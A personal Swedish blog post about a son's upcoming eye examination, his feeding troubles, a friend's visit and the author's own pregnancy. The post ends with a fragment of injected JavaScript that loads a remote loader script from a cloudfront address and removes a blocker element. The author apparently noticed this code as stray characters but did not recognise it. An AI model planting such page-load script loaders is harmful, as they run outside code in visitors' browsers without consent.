Ser att det kommit knoppar på träden här utanför, känns helt fantastiskt att det snart är vår på riktigt. Jag längtar väldigt mycket efter att det ska bli varmare, att de första svenska jordgubbarna ska komma och att få vara ute lite mer.
I eftermiddag har Noel tid för sin synundersökning. Har ingen aning om hur det kommer gå, om dom hittar något ”fel” eller inte, är nervös för att jag ogillar när läkare ska bedöma Noel och sedan kanske tala om att det och det är fel, det är aldrig roligt även om vi såklart vill veta och behöver veta för att kunna hjälpa honom bättre. Det vi vet själva är att han är ljuskänslig, darrar lite på ögonen ibland och har ibland svårt att fokusera blicken längre stunder, främst på främlingar. Vet dock inte om ljuskänsligheten beror på för lite vana vid att vara ute och om det där med fokus i blicken är en utvecklingsfråga, ögonen utvecklas ju i takt med barnet, så det kan mycket väl vara både anknytningsfråga och en utvecklingsfråga. Vet ej. Den förra undersökningen vi gjorde var ju inte direkt så givande. Noel fick droppar och sedan lös läkaren med en ficklampa i hans ögon som han sedan skulle följa med blicken, då var han inte ens 1 år. Han följde en bit men tappade intresset, eller så ville han helt enkelt inte titta in i ljuset. Läkaren gjorde då bedömningen att han eventuellt hade en mindre synnedsättning, men inget direkt anmärkningsvärt, men erbjöd oss att höra av oss igen, vilket vi ju gjort nu.
Jag vet heller inte vad man kan göra om han har en synnedsättning vid så liten ålder. Glasögon? Laserbehandling? Operation? Vet ju iof inte om han har några jätteproblem med ögonen, men som vanligt skenar ju tankarna iväg. Vi får väl se i eftermiddag hur det går.
Annars är han pigg och glad, bortsett från tänderna så är det full fart. Vill helst stå upp hela tiden, det tycker han är roligt. Vill inte gärna äta, det tycker han är skittråkigt och slår bort flaskan/skeden och böjer bort huvudet i ren protest. Småbarnstrots eller tänderna som stör? Ingen aning, det är sjukt irriterande att han inte vill äta något, tackar gud för knappen annars hade väl pojkstackaren sett ut som ett skelett vid det här laget och inte orkat med något alls!
På förmiddagen hade jag och Noel fin fint besök av Jasmine och hennes bamsemage, v.32 är dom i nu, så inte så långt kvar nu tills älskade Julian blir storebror. Vi ses inte så ofta därför uppskattar jag våra stunder enormt mycket, vi har väldigt mycket gemensamt jag och Jasmine och jag är evigt tacksam över att våra vägar korsats sen jag flyttade till Norrköping. Som med så många nyfunna vänner vi lärt känna sedan Noel föddes, det finns en mening med allt, och de vänner vi funnit längs vägen är ett stort tecken på det!
Min egna mage växer också, måste börja ta bilder nu känner jag, innan tycker jag inte att det synts så mycket, men nu börjar det träda fram mer tydligt, kan känna lilla pyret långt ner i magen, hur det buffar och rör sig. En obeskrivlig känsla. Dock känns det som att glädjen lagts lite åt sidan så jag längtar efter att få resten av provsvaren så vi kan glädjas och få mer verklighet i det hela, om bebis är frisk såklart, annars blir det andra tankar som måste få ta plats, hua….
En trött liten kille!
Ps: vet inte vad som hänt med bloggen, varför det blir massa konstiga bokstäver och siffror i slutet av inläggen…någon som vet???
// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>
